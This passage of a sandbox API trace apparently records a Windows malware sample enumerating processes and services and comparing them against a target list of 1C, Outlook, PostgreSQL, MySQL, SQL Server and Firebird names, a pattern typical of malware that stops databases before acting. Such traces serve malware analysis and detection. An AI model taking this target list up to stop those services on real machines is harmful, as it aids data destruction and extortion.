dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0144.965] lstrlenW (lpString="lsass.exe") returned 9 [0144.965] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0144.965] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0144.965] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0144.965] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0144.965] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0144.965] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0144.965] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0144.965] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0144.965] lstrlenW (lpString="lsm.exe") returned 7 [0144.965] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0144.966] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0144.966] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0144.966] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0144.966] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0144.966] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0144.966] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0144.966] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.966] lstrlenW (lpString="svchost.exe") returned 11 [0144.966] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0144.966] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0144.966] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0144.966] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0144.966] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0144.966] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0144.966] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0144.966] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.967] lstrlenW (lpString="svchost.exe") returned 11 [0144.967] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0144.967] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0144.967] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0144.967] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0144.967] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0144.967] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0144.967] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0144.967] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.967] lstrlenW (lpString="svchost.exe") returned 11 [0144.967] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0144.967] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0144.967] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0144.967] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0144.967] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0144.967] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0144.967] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0144.967] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.968] lstrlenW (lpString="svchost.exe") returned 11 [0144.968] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.968] lstrlenW (lpString="svchost.exe") returned 11 [0144.968] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0144.969] lstrlenW (lpString="audiodg.exe") returned 11 [0144.969] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.969] lstrlenW (lpString="svchost.exe") returned 11 [0144.969] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0144.969] lstrlenW (lpString="userinit.exe") returned 12 [0144.969] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0144.970] lstrlenW (lpString="explorer.exe") returned 12 [0144.970] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0144.970] lstrlenW (lpString="dwm.exe") returned 7 [0144.970] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.970] lstrlenW (lpString="svchost.exe") returned 11 [0144.970] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0144.970] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0144.971] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0144.971] lstrlenW (lpString="spoolsv.exe") returned 11 [0144.971] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0144.971] lstrlenW (lpString="reader_sl.exe") returned 13 [0144.971] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.971] lstrlenW (lpString="svchost.exe") returned 11 [0144.971] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0144.972] lstrlenW (lpString="taskhost.exe") returned 12 [0144.972] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0144.972] CloseHandle (hObject=0x3d0) returned 1 [0144.972] Sleep (dwMilliseconds=0x1f4) [0145.678] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x428b6e0 [0145.725] EnumServicesStatusExW (in: hSCManager=0x428b6e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0145.725] GetLastError () returned 0xea [0145.725] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xd68) returned 0x4241058 [0145.725] EnumServicesStatusExW (in: hSCManager=0x428b6e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4241058, cbBufSize=0xd68, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4241058, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0145.725] CloseServiceHandle (hSCObject=0x428b6e0) returned 1 [0145.726] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0145.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0145.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0145.726] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0145.726] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0145.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0145.726] lstrlenW (lpString="AudioSrv") returned 8 [0145.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0145.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0145.726] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0145.726] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0145.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0145.726] lstrlenW (lpString="BFE") returned 3 [0145.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0145.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0145.726] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0145.726] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0145.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0145.726] lstrlenW (lpString="CryptSvc") returned 8 [0145.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0145.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0145.726] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0145.726] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0145.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0145.726] lstrlenW (lpString="CscService") returned 10 [0145.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0145.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0145.726] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0145.726] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0145.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0145.726] lstrlenW (lpString="DcomLaunch") returned 10 [0145.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0145.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0145.727] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0145.727] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0145.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0145.727] lstrlenW (lpString="Dhcp") returned 4 [0145.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0145.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0145.727] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0145.727] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0145.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0145.727] lstrlenW (lpString="Dnscache") returned 8 [0145.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0145.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0145.727] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0145.727] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0145.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0145.727] lstrlenW (lpString="DPS") returned 3 [0145.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0145.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0145.727] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0145.727] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0145.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0145.727] lstrlenW (lpString="eventlog") returned 8 [0145.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0145.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0145.727] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0145.727] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0145.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0145.727] lstrlenW (lpString="EventSystem") returned 11 [0145.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0145.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0145.727] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0145.727] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0145.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0145.727] lstrlenW (lpString="gpsvc") returned 5 [0145.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0145.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0145.728] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0145.728] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0145.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0145.728] lstrlenW (lpString="LanmanWorkstation") returned 17 [0145.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0145.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0145.728] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0145.728] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0145.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0145.728] lstrlenW (lpString="lmhosts") returned 7 [0145.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0145.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0145.728] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0145.728] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0145.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0145.728] lstrlenW (lpString="MMCSS") returned 5 [0145.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0145.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0145.728] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0145.728] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0145.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0145.728] lstrlenW (lpString="MpsSvc") returned 6 [0145.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0145.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0145.728] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0145.728] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0145.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0145.728] lstrlenW (lpString="NlaSvc") returned 6 [0145.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0145.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0145.728] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0145.728] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0145.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0145.728] lstrlenW (lpString="nsi") returned 3 [0145.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0145.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0145.729] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0145.729] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0145.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0145.729] lstrlenW (lpString="PcaSvc") returned 6 [0145.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0145.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0145.729] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0145.729] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0145.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0145.729] lstrlenW (lpString="PlugPlay") returned 8 [0145.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0145.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0145.729] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0145.729] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0145.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0145.729] lstrlenW (lpString="Power") returned 5 [0145.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0145.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0145.729] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0145.729] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0145.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0145.729] lstrlenW (lpString="ProfSvc") returned 7 [0145.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0145.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0145.729] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0145.729] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0145.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0145.729] lstrlenW (lpString="RpcEptMapper") returned 12 [0145.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0145.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0145.729] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0145.729] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0145.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0145.729] lstrlenW (lpString="RpcSs") returned 5 [0145.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0145.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0145.730] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0145.730] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0145.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0145.730] lstrlenW (lpString="SamSs") returned 5 [0145.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0145.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0145.730] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0145.730] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0145.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0145.730] lstrlenW (lpString="Schedule") returned 8 [0145.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0145.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0145.730] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0145.730] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0145.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0145.730] lstrlenW (lpString="SENS") returned 4 [0145.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0145.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0145.730] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0145.730] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0145.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0145.730] lstrlenW (lpString="ShellHWDetection") returned 16 [0145.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0145.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0145.730] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0145.730] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0145.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0145.730] lstrlenW (lpString="Spooler") returned 7 [0145.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0145.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0145.731] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0145.731] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0145.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0145.731] lstrlenW (lpString="SysMain") returned 7 [0145.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0145.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0145.731] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0145.731] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0145.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0145.731] lstrlenW (lpString="Themes") returned 6 [0145.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0145.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0145.731] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0145.731] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0145.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0145.731] lstrlenW (lpString="TrkWks") returned 6 [0145.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0145.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0145.731] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0145.731] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0145.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0145.731] lstrlenW (lpString="UxSms") returned 5 [0145.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0145.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0145.731] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0145.731] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0145.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0145.731] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x4241058 | out: hHeap=0x880000) returned 1 [0145.731] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x384 [0145.733] Process32FirstW (in: hSnapshot=0x384, lppe=0x214fd34 | out: 